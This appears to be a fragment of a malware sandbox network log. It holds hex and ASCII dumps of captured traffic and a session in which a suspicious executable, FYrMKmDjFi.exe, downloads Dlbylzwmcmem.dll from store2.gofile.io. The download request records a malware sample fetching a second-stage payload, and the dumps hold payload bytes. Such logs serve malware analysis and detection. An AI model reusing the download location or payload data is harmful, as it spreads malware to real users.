2021-10-12 00:46:07 UTC	1008	IN	Data Raw: 9d 88 51 50 8f 28 4b 21 8d 4a da 26 86 6a 79 76 db 81 17 8f d6 c6 9a db bf 69 f0 72 42 5a e8 5e 82 95 fa 5c 26 b9 42 e8 e6 cd 1c f3 02 7b 4b b1 f4 e8 04 4a 7b 18 5d 07 b9 93 a3 7e 3b 41 e1 4e 1c cc a2 64 72 85 4d 18 7b 0b 09 31 8c 4d 5d e8 55 bb 5f 41 90 d8 25 4c c2 82 1f 79 ad be 2f 09 0e 7d d8 fc 37 40 7b b8 7e c5 b5 6d ac b0 1a 71 b3 10 7f 8f 38 f6 6b c1 99 83 7c 16 45 b2 c6 9c b1 cd 01 2b 5a 88 71 f8 0b 31 50 e1 57 1d a8 41 80 2a 26 a9 33 33 a5 9a 6f 13 2f 2a 51 4d ff 51 d1 0a 0f e5 f2 7a 6b b2 e8 98 9d 78 c2 1e f1 dc 12 14 ac 23 ca 52 42 98 20 4f e4 52 8f db 33 6d cb 02 69 90 72 f3 f7 24 14 a5 1d e7 a6 c9 fb a5 7a a9 05 19 4a d4 a1 f8 46 c2 cc 2a 7c a4 6c 3c 53 ab cb 10 81 ed 73 ef f8 77 1b 4b 78 b5 3d b5 2f 63 5e 8f 54 ee 8a db 25 d4 30 10 1e 97 d1 Data Ascii: QP(K!J&jyvirBZ^\&B{KJ{]~;ANdrM{1M]U_A%Ly/}7@{~mq8k\|E+Zq1PWA&33o/QMQzkx#RB OR3mir$zJF*\|l<SswKx=/c^T%0
2021-10-12 00:46:07 UTC	1024	IN	Data Raw: b4 9a 04 0d 7d 00 d0 a1 cb ba 8b 3c 78 3a 1d ec e1 70 c6 e8 ec c4 07 86 d5 2a e6 58 39 80 ac 0f 43 f2 28 46 1f f2 87 e9 1d f4 7a d1 11 b6 ec 12 fd 7c 59 9c 7d 3b 71 47 71 9e c0 ac 98 1c 52 1a e6 fc ca 68 a0 59 7f 70 fb bd 98 0e a1 ce 7a bb 66 02 3e 32 de 69 e9 3d d2 9a 5c e9 a1 eb 70 f3 a3 39 2a da c6 ed 12 91 cd 82 07 1d 84 ae a9 d3 f6 a2 44 64 2f 4d 25 25 af ef ae 37 f4 f3 a8 7a 1d 65 22 b7 f1 77 4e f2 13 68 37 d2 ba ff 01 59 66 1a 3d 55 80 ac 8a f4 6a 01 5b 10 6b d7 7d 75 ab 27 dc e7 10 8e 09 e9 2e 60 07 b0 84 b2 1a c3 0b 8a 01 73 be c8 3b 5a 6a 71 f5 0c 1a 2b 85 ad 55 49 cf 39 c6 8a e5 9a c8 ae 6f a5 7e 5a da 8d 9d 79 c5 3f 9f e2 76 55 0e 5c fd 34 2d a5 57 60 55 63 59 0b ea da a1 42 5a bf 31 14 2f 8f d8 a9 ad fd 0a 34 2c f9 65 2d 90 f8 76 ca a9 df 3c Data Ascii: }<x:pX9C(Fz\|Y};qGqRhYpzf>2i=\p9Dd/M%%7ze"wNh7Yf=Uj[k}u'.`s;Zjq+UI9o~Zy?vU\4-W`UcYBZ1/4,e-v<
2021-10-12 00:46:07 UTC	1040	IN	Data Raw: b0 8a 2c d6 25 68 7d b8 3b a6 20 06 a7 fe ae 1b f7 6d 27 4c 6a 6a 6e 26 41 2c 3f 31 c4 47 8f fc 73 93 71 39 ef ec 76 f9 68 31 49 37 0d 80 c6 b2 a1 65 eb c5 bf 3e 8d ea 4a d9 92 91 65 f3 90 c1 f2 0e 49 b1 3c a5 e5 4a d8 75 cc 98 45 f0 b8 4c b7 39 3c 6e f1 ee a9 fd 9b 32 af 70 15 35 8e 24 e7 fe b0 e2 b7 70 76 19 98 c0 37 d2 17 2d 6b 7d 88 4f bb 5a 1c 4e e5 ff 4a de 85 dc 33 30 59 36 14 4c 88 2b bd 90 fb 0b 5e 66 34 12 7f 54 20 5f a0 d6 70 0d 40 30 61 31 83 69 9e 4b 55 96 c4 64 c5 91 80 bb b9 c4 55 c7 39 86 ee 49 e8 13 dc c8 77 31 ab cc 60 b3 22 0d cd 83 d8 9c dc 24 81 2c 10 f3 3a 40 91 89 4f f2 19 c0 bd e2 6d 72 6c 5f 21 dd 62 49 22 c9 4b 2a 52 d7 88 25 ed ff 23 5a 55 fd a3 a1 69 40 37 da f5 ac 92 e3 5c 82 3e 0e af 7d a4 9e 35 3f 7f 7a 7f 31 cd 9c f2 72 02 Data Ascii: ,%h}; m'Ljjn&A,?1Gsq9vh1I7e>JeI<JuEL9<n2p5$pv7-k}OZNJ30Y6L+^f4T _p@0a1iKUdU9Iw1`"$,:@Omrl_!bI"K*R%#ZUi@7\>}5?z1r
2021-10-12 00:46:07 UTC	1056	IN	Data Raw: 81 32 f3 70 dc a9 e9 da 16 c6 88 60 0e 9c d3 6a f4 f0 3a db 8c 0d 7b 54 24 92 bd 5a 5e 25 67 5f e3 6c 10 77 f9 05 b7 93 b1 59 a9 ce 2d e5 3f e0 59 3c 5a bf 03 03 86 36 cd ba 0f aa 5e 58 35 b2 19 f4 59 3f 3a a7 c7 d8 f5 bf bf b1 8f c3 ff be 4f 35 d2 55 6e ea 87 12 17 ad bc 9a 5c e1 ba 63 48 97 b2 37 14 dd 82 07 d2 50 a3 84 3c f9 94 b1 47 f8 9b ff 2c 88 3c ed f7 6a 5f 1f fc 19 39 de 0f cb 74 71 79 0d 1e 3d 6f a5 23 2e 6b c1 42 38 7f c6 a7 96 e5 61 28 d1 5c c9 7d 2e 7c 8d 76 a7 c8 58 45 db ce 37 cf 21 74 72 2b 7f 0e ab 8d 9c 3a 4a 26 d3 3f 0e c1 a7 ea 55 9c f9 3b 12 d7 71 a8 88 30 a1 8a 5f 47 b2 6b 11 a8 f0 ab 72 c6 09 fa a3 29 d7 9f 10 8f 55 43 f8 1d 03 90 c8 58 38 fa f2 89 a3 d7 aa 11 c1 9e 59 98 23 b2 45 47 3b b7 dc dd 10 b5 44 c4 1c 55 e2 04 54 f5 9e 2e Data Ascii: 2p`j:{T$Z^%g_lwY-?Y<Z6^X5Y?:O5Un\cH7P<G,<j_9tqy=o#.kB8a(\}.\|vXE7!tr+:J&?U;q0_Gkr)UCX8Y#EG;DUT.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49748	31.14.69.10	443	C:\Users\user\Desktop\FYrMKmDjFi.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-12 00:46:19 UTC	1063	OUT	GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1 Host: store2.gofile.io Connection: Keep-Alive
2021-10-12 00:46:19 UTC	1063	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Disposition: attachment; filename="Dlbylzwmcmem.dll" Content-Length: 1088008 Content-Type: application/octet-stream Date: Tue, 12 Oct 2021 00:46:19 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: Express X-Xss-Protection: 1; mode=block Connection: close
2021-10-12 00:46:19 UTC	1063	IN	Data Raw: 5b db 98 8f 52 c7 a2 c3 18 df 30 d4 99 08 c4 fb 6d 31 ef 51 86 58 f2 0e cc 2f 68 51 df 3a ea cb 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 ad 70 c2 2e f4 17 6c fc 28 04 1a 10 3e ca 95 94 39 3c 7d 1c af 33 26 7c 0f 81 28 fd ab df 9c 1d f2 11 11 7d 15 6e 15 2c b8 71 33 0c 4a ef fd 09 47 55 5b 98 e5 d5 35 8a ac 13 80 e1 bd 99 dc 60 ab 75 8e dc 7a c4 78 cb 35 83 fa 7e 5b 7c c7 3c 7c 16 6d 9e 7a ad 90 8e ea e9 0e 2b 4c 20 f8 fd 7a 5f 5f 54 70 1d b6 b9 e6 66 70 5c 21 62 8e 2e 39 cd c7 23 6f ea 9f 2c 7e 3b 4e 22 7a b3 1b ec bb 35 ce 3c d9 ed 70 ff 1e bc ed 0d 07 82 a7 ff 1e bc ed 0d 07 82 a7 ff fe 93 d9 59 d3 da 25 ed aa eb 79 16 50 21 d5 36 05 e9 0f 49 0f 6b bf 25 05 e9 0f 49 0f 6b bf 25 4c ff 8a e0 11 69 f7 a0 59 65 4e b6 a1 98 58 Data Ascii: [R0m1QX/hQ:YeNX`YeNX`YeNX`p.l(>9<}3&\|(}n,q3JGU[5`uzx5~[\|<\|mz+L z__Tpfp\!b.9#o,~;N"z5<pY%yP!6Ik%Ik%LiYeNX
2021-10-12 00:46:19 UTC	1064	IN	Data Raw: bb 5a a0 e1 c1 98 05 43 3d e6 d1 cb b4 30 0c 58 9f f6 9e fb 77 72 a1 12 d0 82 8e 50 d8 47 9c 58 34 5a a5 6f 57 fb 74 3b 7a 3b 45 98 f3 4e d2 e0 c1 c1 81 da e6 d8 17 3e f2 32 0d 50 a4 5d 58 43 d6 29 ea 3f e0 39 99 06 40 2a a1 e9 9f a6 2d 01 bf 07 78 96 ee a4 85 64 2e 5b c9 a7 45 97 48 1b cc a4 66 ae ad f5 6b 3c 4c 2e 09 d0 7f 08 eb 26 f1 ba 25 5c 72 c7 e8 95 50 13 69 81 7f 42 46 2d d4 a0 3b b5 0d d1 3a 56 fd 13 e0 99 34 c8 d0 f8 a9 5b 45 b9 f4 6b 4d 33 8e d3 f9 90 be 13 f7 eb 0f f3 8e d6 b6 a2 39 37 01 b9 dd 3e a7 99 ab e7 17 3c 79 58 8d 2f ab 07 58 58 24 c4 c0 16 b6 b2 ed 44 4d 2d 2f 6b 8d b3 d9 dc f2 4c 5f e2 6c fb 46 da e9 5f 20 5a 33 f3 bf 3c c3 17 9e 49 53 61 89 67 43 d5 d6 b8 2d 35 ef d0 4f 6d e9 1b 2d e8 c7 ec 5b b4 11 9d b8 0a 4f 6a 62 ff d1 53 f3 Data Ascii: ZC=0XwrPGX4ZoWt;z;EN>2P]XC)?9@*-xd.[EHfk<L.&%\rPiBF-;:V4[EkM397><yX/XX$DM-/kL_lF_ Z3<ISagC-5Om-[OjbS
2021-10-12 00:46:19 UTC	1066	IN	Data Raw: 02 cf a8 5e 28 2e 70 b6 08 06 60 49 14 86 66 39 3f a8 f2 67 8a f6 bf ad 0d 19 a8 6a 90 ef 70 0e d8 08 f7 86 1c 43 5b 1a 98 d5 33 d2 58 7f c3 07 11 4a 2d 43 80 c7 f4 ca ab ba ec 45 d9 73 c4 c2 8b 5c 7d 0d ac bf e2 32 cd 3e 7d 06 31 c9 a6 34 1b 8a 06 6a 62 1b d5 85 98 cb a5 7e 25 16 ce 09 1f ed bc 24 d2 4c 38 b8 36 08 d9 50 ab 1b 73 83 58 cd c2 98 06 83 39 7c 89 1f 70 78 9d b5 88 7c 11 f2 90 eb df 7e 28 a9 3a 73 3b a5 ec 61 61 87 43 35 c8 b9 66 ec 7a 88 73 52 4a 95 4f d1 7e 41 87 e0 d0 05 3f d3 51 70 58 96 34 2f 5a cb e0 3c cd ad 13 f8 83 a7 32 5f fd 24 f4 00 d3 27 6d 8f 01 d0 05 50 fb 2d d9 fa 6f a7 a0 da 1d 54 3e fd 69 e5 6f fe bf 58 57 1f b1 bd a7 47 8d ef 0f 01 3b d8 f8 83 8b 34 9a 5d e3 a2 d9 fe 9b 06 ab 88 2b f9 9e de e2 71 f9 b8 22 ec ac b9 9f 20 b3 Data Ascii: ^(.p`If9?gjpC[3XJ-CEs\}2>}14jb~%$L86PsX9\|px\|~(:s;aaC5fzsRJO~A?QpX4/Z<2_$'mP-oT>ioXWG;4]+q"
2021-10-12 00:46:19 UTC	1067	IN	Data Raw: ce a0 57 03 81 6f 49 42 3e 3d 49 f6 88 86 c9 df 4f 63 aa c3 b3 59 4f f5 ac 66 5d e9 ce 10 77 f2 da 38 f3 93 01 63 d1 2d 01 e7 9e 44 0a 5d f9 29 e5 aa 51 14 45 87 4a 84 76 ac 1a 92 70 60 c8 ee 07 b1 04 27 fc 32 3b fe 6a e9 bb 65 4d cd eb fb e9 77 03 52 e3 2a f0 53 f3 ed b7 a0 2a 88 61 fe 94 4b 16 07 70 81 a3 6e 15 f7 2e 54 9f 9f 99 ac a6 73 b2 e6 9b bb 15 58 2d e3 1a 9e e5 01 63 2a d7 9a 16 7d 50 6c 7d f3 fc d1 b6 ff da f3 34 de 10 83 3b 03 a1 59 23 fa 47 63 8c 9e 3e 21 08 bd a7 47 8d ef 0f 01 3b 88 2d 06 7e a3 bf 53 a4 00 fd 84 cf 8f f0 02 bb 1a 5f ff 22 c4 31 d8 22 8f f8 8a 20 e3 1b 9f db 94 ba 4c 49 2b 57 0c 46 ad c6 76 c1 cd 9b 4f 72 4e df b7 fb e5 8e cd d6 6d 9a 05 67 3a 07 f4 b0 7b b8 5a cd 10 43 eb 21 b9 28 55 44 d1 79 07 ab 50 e3 55 ae 8f 21 ce aa Data Ascii: WoIB>=IOcYOf]w8c-D])QEJvp`'2;jeMwRSaKpn.TsX-c*}Pl}4;Y#Gc>!G;-~S_"1" LI+WFvOrNmg:{ZC!(UDyPU!
2021-10-12 00:46:19 UTC	1071	IN	Data Raw: 0a 4a e2 56 1e 02 cc bd a0 d6 2c a5 d0 84 2d 08 c1 8d b2 04 9d 59 90 f9 a8 5b b5 8a 97 28 18 be 0f aa a0 8e 6a 76 ce 93 0f 1c 31 c0 27 da 98 35 d0 30 d1 75 60 07 9e c4 e5 54 49 e5 f3 82 75 41 fd c5 ae fa 2c 20 09 da 98 9a d8 57 fb e3 68 20 83 29 f2 35 40 fb ec 4b 7a 8b 5a a1 b3 b6 e5 5f 0d e0 ed c7 dc 2c e2 76 1d 65 4c 60 74 d6 d2 b8 1c 93 d1 c6 a2 5d 56 b6 0c d9 02 85 f6 eb ea 5a 48 14 10 08 2a ee a2 4c 94 81 27 8c 2e 7e 0f db 9f e4 e0 56 c8 3b 1b 32 96 8f 4c 19 48 f3 b2 db be 2a 2a ff 1a 51 78 a3 e2 f9 eb b6 c7 56 9a ab d9 49 08 13 03 30 0c 4a 65 8e fa 8d da 91 26 8f 83 59 62 a9 8f 42 d3 fe 9e 3a f1 de 6e 71 23 99 09 cf 86 60 2e 27 d1 c3 93 91 d2 06 cc 78 62 b5 ea 0f b7 b3 fc 76 6b 61 1e 06 40 07 a4 d0 a7 c8 db e1 cf 63 52 6e 1f 1f ec 21 9a 8b 0a 30 6b Data Ascii: JV,-Y[(jv1'50u`TIuA, Wh )5@KzZ_,veL`t]VZHL'.~V;2LH*QxVI0Je&YbB:nq#`.'xbvka@cRn!0k
2021-10-12 00:46:19 UTC	1076	IN	Data Raw: 4f f3 08 52 b2 3b fb 30 af cb 1c ce 84 d2 0d 62 9d cd 16 ca 94 d5 a4 94 c6 bb 5e c3 e0 12 a6 4f df a1 85 32 67 af a7 ef 00 71 1f 83 e1 63 fa 55 45 8e 64 78 b5 bf e9 d0 34 be 69 ed fe 4f ce a7 b4 4d ac 10 e2 7a 79 63 4c 1f 5a 25 b2 92 0a 32 7d 7e fb c4 1a f6 4e 34 a1 da 30 19 59 1e 3d 0b a0 bf ff d6 32 3f f2 a5 6b 8a c3 87 5f da 91 22 47 8e 6a e2 c3 50 55 42 09 ca 1e 93 16 22 95 ca 3c ef 63 e4 7a 8f f8 67 45 4c bb 10 ad 7b 12 b9 d6 59 83 6a 00 c2 aa 1e 81 73 ba 1f 48 6f b4 f5 e3 65 96 27 bc f0 c9 ae a3 4a d5 8d e3 7b 32 a3 0b ff c9 21 b9 94 70 1c ff 8f 80 42 8a 0b e7 43 5d 34 55 aa 0e 81 ba f6 68 08 2e b6 08 da 91 8f a9 25 39 f8 c7 c3 33 1a 29 3d 69 c0 db 6d 2f dc 8b e1 fb d3 d5 be 1c 4a 6a d1 cf 96 08 0b ae e6 53 6a c7 bd 6a cd a8 96 ed 43 ba 8f 68 ef ae Data Ascii: OR;0b^O2gqcUEdx4iOMzycLZ%2}~N40Y=2?k_"GjPUB"<czgEL{YjsHoe'J{2!pBC]4Uh.%93)=im/JjSjjCh
2021-10-12 00:46:19 UTC	1083	IN	Data Raw: 49 ee bd 13 94 00 7f c9 21 36 de 59 93 8c 18 6e cc a4 cd 83 23 0a da 8a c2 c7 00 7d a4 06 d3 80 30 93 bb 1e 10 2d af db 93 9e 23 08 17 21 53 82 dc ce 6b c4 90 b8 44 52 6d f2 fb ea c2 7f 24 6c 23 e0 db 3d 01 1a db 92 3e ed a8 a7 82 e4 65 76 a7 72 59 52 80 e7 9e a7 c9 e4 f4 50 7a c4 e7 16 a7 2a 24 ab 6d 39 da 07 d0 71 f9 ff 39 5f 30 68 9d 30 21 0b 5b c5 18 f8 e3 5e e3 af 76 ce b6 66 b3 00 0c 77 ed cf 3e 9a 78 7c be 14 66 56 7c 54 48 74 29 1e 80 0f 43 d8 49 c5 3d 44 1d 14 fc e5 1b e1 ae 73 6e ac cc 21 0e 5e 80 1c cd 06 ff d3 b8 b4 a4 0e a0 ee 38 9e 6c 5b e8 d5 66 c8 45 01 8e 8e 36 4c 35 de 14 50 88 ad c5 16 1b 1a d9 77 6d ae c5 12 e5 64 b5 01 e9 64 3d 43 d4 bd 57 30 15 35 a2 7d 00 c5 97 94 e8 68 d1 bd 5c 1a 79 76 d9 82 4c e8 2e 4b 0a 78 5a bc 21 53 97 0b e8 Data Ascii: I!6Yn#}0-#!SkDRm$l#=>evrYRPz*$m9q9_0h0![^vfw>x\|fV\|THt)CI=Dsn!^8l[fE6L5Pwmdd=CW05}h\yvL.KxZ!S
2021-10-12 00:46:19 UTC	1092	IN	Data Raw: 37 bf 79 51 1c 0f 8b f1 43 2e 53 b6 83 11 a3 a6 45 64 86 fa 16 2f 76 4d 91 f3 bd d4 e7 52 47 8b ea 54 1d 35 f3 df 89 83 d4 cd 1f 63 a0 f8 4c 24 73 cc bf f7 84 fc 74 a4 5b 74 71 db c4 02 b7 67 7d 97 4c 42 77 33 c3 5b 52 86 1b 04 14 69 42 66 9a 32 7f 05 8d 95 2c 78 d8 33 c1 0d 9c 13 49 69 c6 45 ab 03 44 54 52 f4 77 53 05 bd 18 b8 ce d8 60 0b c7 08 ac 56 7c 80 64 b2 59 98 dd cf 61 57 24 9c 82 5b 58 0f 62 c0 70 ea d9 c4 58 ee c5 44 fa cd c4 d2 39 e8 f9 81 53 f1 bb bb 36 7f 47 d0 7b 3c 70 d6 e8 bd 3b 08 e2 64 07 a0 7c e0 6c 92 19 9c 3f 7e 53 21 30 6a 00 8b 6b b7 02 82 41 4c 04 dd fb 90 02 8a d5 f7 69 3c 45 d7 70 b1 20 72 2f 63 39 f6 6b fc ee ac 2d 20 11 0c aa 0d a7 7c 59 9c 98 3a 34 d6 25 55 82 3d 58 d9 b6 d7 3f 37 7a d6 fd d7 80 2d 4b 1a 1c 52 b6 23 c6 4c 4d Data Ascii: 7yQC.SEd/vMRGT5cL$st[tqg}LBw3[RiBf2,x3IiEDTRwS`V\|dYaW$[XbpXD9S6G{<p;d\|l?~S!0jkALi<Ep r/c9k- \|Y:4%U=X?7z-KR#LM
2021-10-12 00:46:19 UTC	1101	IN	Data Raw: 2f c9 0e 1f c1 8f 13 2b 7a 4c 13 12 a9 60 84 ce b7 eb e2 09 50 e1 33 b5 b6 03 62 8c b8 82 d0 28 25 0f b4 27 fe a5 02 96 a6 a2 c5 9e 34 16 6b d0 7b 0f 2d 7b 02 d1 a5 ed 1b dd 1c 51 97 15 4e ef 95 b7 89 58 17 cd 33 7b 1b ab 7f 3c a2 1a 04 d1 ae 35 e5 0f d3 13 37 40 70 2f 16 61 90 e0 c8 f1 3a e0 eb d7 d6 37 d9 2c 40 d3 e6 7e aa 63 07 50 03 e7 30 fc 8e dc 25 f2 88 50 66 bc 43 30 0c 53 09 a3 c1 80 9d a8 58 b1 33 01 0e f7 96 ca cd bc 46 26 e1 aa 6f 95 bb 59 97 eb 91 e4 1f e8 32 74 cf 88 2a 62 a5 c8 5c 03 e3 af e1 7c 9b dd d1 69 de 13 91 eb 36 84 fd 8e 58 b6 25 6a 48 eb 7b cb f8 63 04 7c be 7b 53 2c f6 da 78 67 7b f1 83 8e 8e 96 1c a6 d0 a8 c5 10 6d 93 5f 68 4e 86 f4 50 e6 59 e3 63 19 cc aa 5d 94 38 26 f2 7a 02 bd a1 69 13 77 f0 0b c2 55 3d ea dd 26 f7 03 50 ee Data Ascii: /+zL`P3b(%'4k{-{QNX3{<57@p/a:7,@~cP0%PfC0SX3F&oY2t*b\\|i6X%jH{c\|{S,xg{m_hNPYc]8&ziwU=&P
2021-10-12 00:46:19 UTC	1102	IN	Data Raw: cb 55 1a e5 57 cf d3 56 83 e4 86 0b 54 2d 1a f4 e4 8b 36 7d 95 8e 86 fe 49 8c 4d d5 4d f8 cf 83 cb 98 3a d4 f2 aa 7b 92 dd f8 6f 6d f9 ed 0f 9d 09 48 77 42 03 7a ab 3c 08 33 f6 7f e1 d9 92 4e 73 50 be 9c b5 75 9c 7b 15 dc 1c 09 15 ef 27 1b c7 77 f4 a3 9a 97 31 e1 c6 5f 7f b5 83 3c 48 12 a9 cd 29 aa f9 7f e6 06 73 e8 51 3d cf c4 45 84 4c 75 ef 83 4f 21 bc 17 09 e5 26 60 4e 96 6d 6f 30 8a d5 86 8a ad 9f 96 f6 2f 0d 0d 2d f3 00 15 06 dd f2 80 a3 73 40 3c ef 5a d8 98 7b 42 b5 e2 99 c4 e7 2f ab 07 58 58 24 c4 c0 b9 1b 32 b6 47 83 61 8b 05 52 89 b2 ad 21 ca 35 17 95 38 87 8d 48 61 6d 78 84 58 36 68 ce 4d eb d8 ca 52 96 08 e1 56 fe 65 6f 32 89 a2 32 ff b3 e0 24 8a 1a 1c 05 b8 3a 1d c3 ae 4b 5a 7a 14 f2 82 00 f5 09 27 f0 42 57 92 5f 11 53 69 45 f6 17 c0 c2 9f 63 Data Ascii: UWVT-6}IMM:{omHwBz<3NsPu{'w1_<H)sQ=ELuO!&`Nmo0/-s@<Z{B/XX$2GaR!58HamxX6hMRVeo22$:KZz'BW_SiEc
2021-10-12 00:46:19 UTC	1113	IN	Data Raw: 3f e6 ac fd 77 19 83 af fe e5 d0 02 86 ec f3 3d 67 c0 78 3a 8d b5 b7 fc ef e3 f1 c3 24 ab 75 b7 e5 eb a7 f5 4c 4d fb cf c3 9e 57 e7 0b 85 4d 9c 44 0b ae 5b aa f2 b1 c4 b0 df 5d 30 a8 5a 85 ec b3 f1 f6 2c 63 02 39 1c cf d1 93 52 4b c5 d6 a0 9f 79 99 1f a2 2b cd be d1 16 64 27 1a ae 14 f7 12 e4 7a d0 60 19 6b 53 8d d8 39 8d 49 19 2a c4 0b 36 85 d3 32 b2 a1 3a ac ba f5 0d bc 70 c4 1f a1 27 47 49 0a 49 0f da 91 d7 0e 4a fa 63 b8 4a cc 16 3f 98 8f 12 05 e0 ae 83 a2 f2 a4 59 44 93 a3 03 bd 67 cf c9 4a c8 44 99 f4 66 d7 76 b2 a0 86 87 40 1a ec b1 fc 61 cf 1e 1b 9e 87 72 bc ad 0e 10 6e 7e 80 fd 1d f1 23 6d 1f d0 bb 1a be 83 59 d0 36 f1 1e 18 fd 95 e2 8d 50 58 18 6f 74 81 a6 00 d0 fa 6c 1f ca 68 e4 d4 2a a3 6c c9 49 3f fc d8 15 02 c6 c5 49 c6 6a 71 50 73 c4 71 ea Data Ascii: ?w=gx:$uLMWMD[]0Z,c9RKy+d'z`kS9I62:p'GIIJcJ?YDgJDfv@arn~#mY6PXotlhlI?IjqPsq
2021-10-12 00:46:19 UTC	1126	IN	Data Raw: 3e dc e0 1f 3f e6 fb 85 b9 88 d6 04 e4 dd 9f e9 62 60 28 4c 45 2d 09 4c 3c 7e 25 ff 30 08 c5 2f 91 41 67 07 41 24 8f f4 e6 85 be f9 62 47 ce a8 bd bb 8e dd a1 53 db fb 27 b3 ad 64 83 ef b7 0e b8 f2 c3 6c d3 6c fe 67 32 6f 68 cf 9e e0 30 61 6b ea 3c bf e6 e0 6c 79 c2 50 ea 03 c3 be e9 e3 b0 c6 3c 08 8f 08 e4 7c ab a4 0a 94 73 77 1d 21 d3 f8 42 9a a9 50 c8 c9 a8 6f 34 3f 22 b1 16 84 32 17 f1 ee bb 07 6a 54 ce 64 68 6a 02 b1 8a 1a f4 d1 e2 a0 3e 36 14 a6 fb 8c 1a a4 51 36 48 2b 67 0b 2e 62 86 a6 0c ce f3 f6 3e 6a 9d cc 0d 4b 9d eb 34 ab c1 15 b0 ee f3 b7 41 b2 e5 9c e9 1b 1f 64 81 27 a1 a0 e0 fe 73 c3 1c 3c 62 16 6d 46 fe 44 6a f9 89 29 31 eb cc cb 0e b9 f2 b8 28 f2 b0 15 e4 8b 33 1c 46 b6 cb 8c e8 fd 9d 26 01 84 58 82 2f f6 9b 25 95 54 41 52 31 70 d4 40 00 Data Ascii: >?b`(LE-L<~%0/AgA$bGS'dllg2oh0ak<lyP<\|sw!BPo4?"2jTdhj>6Q6H+g.b>jK4Ad's<bmFDj)1(3F&X/%TAR1p@
2021-10-12 00:46:19 UTC	1127	IN	Data Raw: 77 7b 07 90 53 3a 65 0c 65 0c 35 2a 3a bf 93 d7 2a d5 c0 18 03 ce a7 67 90 38 ba 1d c9 90 db 5c 73 cb 5b 51 72 7d 93 de 4c fc 56 b5 64 8f 15 4d 42 cf 4b 4d 6a d1 d5 04 a5 08 aa b0 9b b1 84 ee 76 1b c6 ca a5 c9 70 ad 02 d9 48 e8 15 d3 53 82 b3 59 36 ee 5a 28 ee a7 5a f2 44 ac 97 07 46 ef d6 3f 3b e0 59 af be 59 67 1c cb 23 c4 aa da 65 3e 04 e4 d2 f4 1c 18 e9 4d b4 2d cf 45 ed fd 28 6d 2c cd e5 6f 08 d6 7b 03 87 73 db 37 8c d7 0d 88 a4 13 de 9a 2a e8 58 f0 ab 58 00 f5 a1 5a f2 d4 df a5 30 85 2e fb 8f 62 d6 8c ea df 92 b5 01 5c f6 72 e1 b8 22 ec 6b f2 85 67 bc e0 ee 67 30 a5 46 1a 7d e4 20 eb 80 68 b5 05 fd df 92 18 2d 43 26 20 7a b3 c9 d6 05 05 b8 5b 91 14 ee f1 b8 e5 8b 9f d0 48 2c cf 1c 46 ff e3 a1 9f 1b ae ac eb 99 78 32 0c 85 97 a7 c1 59 6c 65 81 01 4f Data Ascii: w{S:ee5:g8\s[Qr}LVdMBKMjvpHSY6Z(ZDF?;YYg#e>M-E(m,o{s7*XXZ0.b\r"kgg0F} h-C& z[H,Fx2YleO
2021-10-12 00:46:19 UTC	1142	IN	Data Raw: b4 6e 6d 74 f1 07 fb 05 d8 b9 fd cd bb 2a bd be b1 5d 5f 7e 13 9c 9d cc 34 b6 db 92 5f 2e 51 c8 60 2c e0 81 c3 a0 8c 27 6e 5a d1 9e 61 68 d5 e6 b5 6b ea 53 8a 34 9d 2a e7 b3 d8 b2 24 4a 25 49 f7 26 3e fa a9 03 47 31 94 28 6c 04 5d 65 4f 10 76 69 8b ff 05 d5 bf 82 ee 75 5a d7 84 e2 e3 8d bc 9a 02 a1 3d 7a ad be 64 39 75 ce e9 25 44 e8 5b 2f 25 66 68 f5 92 53 4c 1b 61 4b e6 1e 13 77 7b 23 4f 1a 49 06 5b 0d 95 2e 69 8b f6 2c be 50 4e 45 75 99 3f fa 31 9a ea c6 f4 f2 5a 06 9c 58 14 a9 57 3c 84 ba 6e 03 2d 93 66 77 7d 3f c8 48 eb f2 a5 5b 6b 77 82 49 2c 10 46 3c 03 a4 fd fc 9d dd ae 37 78 5c 47 1b a5 31 df 70 f7 eb fe d4 f9 3a f8 5d 80 22 dd 74 80 7b 5e 3a 9b 8b 54 d7 19 e8 70 aa 2b 9e 5a 3d c8 e4 d4 0a 76 77 88 36 d0 3b 87 aa 99 e7 73 24 ae cf 5f 5b e9 17 7c Data Ascii: nmt]_~4_.Q`,'nZahkS4$J%I&>G1(l]eOviuZ=zd9u%D[/%fhSLaKw{#OI[.i,PNEu?1ZXW<n-fw}?H[kwI,F<7x\G1p:]"t{^:Tp+Z=vw6;s$_[\|
2021-10-12 00:46:19 UTC	1158	IN	Data Raw: bf 23 60 05 cb 59 3f b2 b5 38 b6 62 6a fd 70 9a 05 b9 f4 a4 d1 e4 df 91 cd 7b dd fd ab 04 13 1a 3e f2 6e 26 ec 96 fa 66 22 9c a5 e2 3b d6 fc 52 9b e4 34 58 35 11 ff af 7a 71 a2 82 e0 fd a4 c6 9a c2 a2 f8 e9 33 a8 67 09 40 56 15 38 d6 3f 4a 2c 38 f7 c6 01 80 b3 41 d4 5c d8 fe 6b 01 4e 53 44 a7 51 1b 4d e5 c8 82 ad b9 a6 a9 b1 59 c0 26 47 70 4f 4c 2f 09 2e 30 6b ae 48 56 7c 44 8b f1 ed 03 20 d8 e4 20 df 15 ff b5 64 4a 6e 1c dd 84 99 4e 8a 3e ee 05 49 0f 1b 62 54 b6 d6 30 d3 0f 40 28 35 b2 57 37 a4 96 6b 29 99 5f 1f 6c f5 39 dc 84 47 b6 ea 3b 0c ad 89 16 ee 47 54 3d a6 71 db e4 6d cf ca 96 85 48 8e 9d 07 d0 7a 9e 64 6f bc 99 aa 12 2a c5 91 23 f4 42 98 93 c1 cd 9f fe 68 f4 10 2b 69 da a6 7a d2 da 45 1c ab d0 3c 99 9a 38 be 33 a7 51 69 0a 7b 3e ed 67 38 7c 65 Data Ascii: #`Y?8bjp{>n&f";R4X5zq3g@V8?J,8A\kNSDQMY&GpOL/.0kHV\|D dJnN>IbT0@(5W7k)_l9G;GT=qmHzdo*#Bh+izE<83Qi{>g8\|e
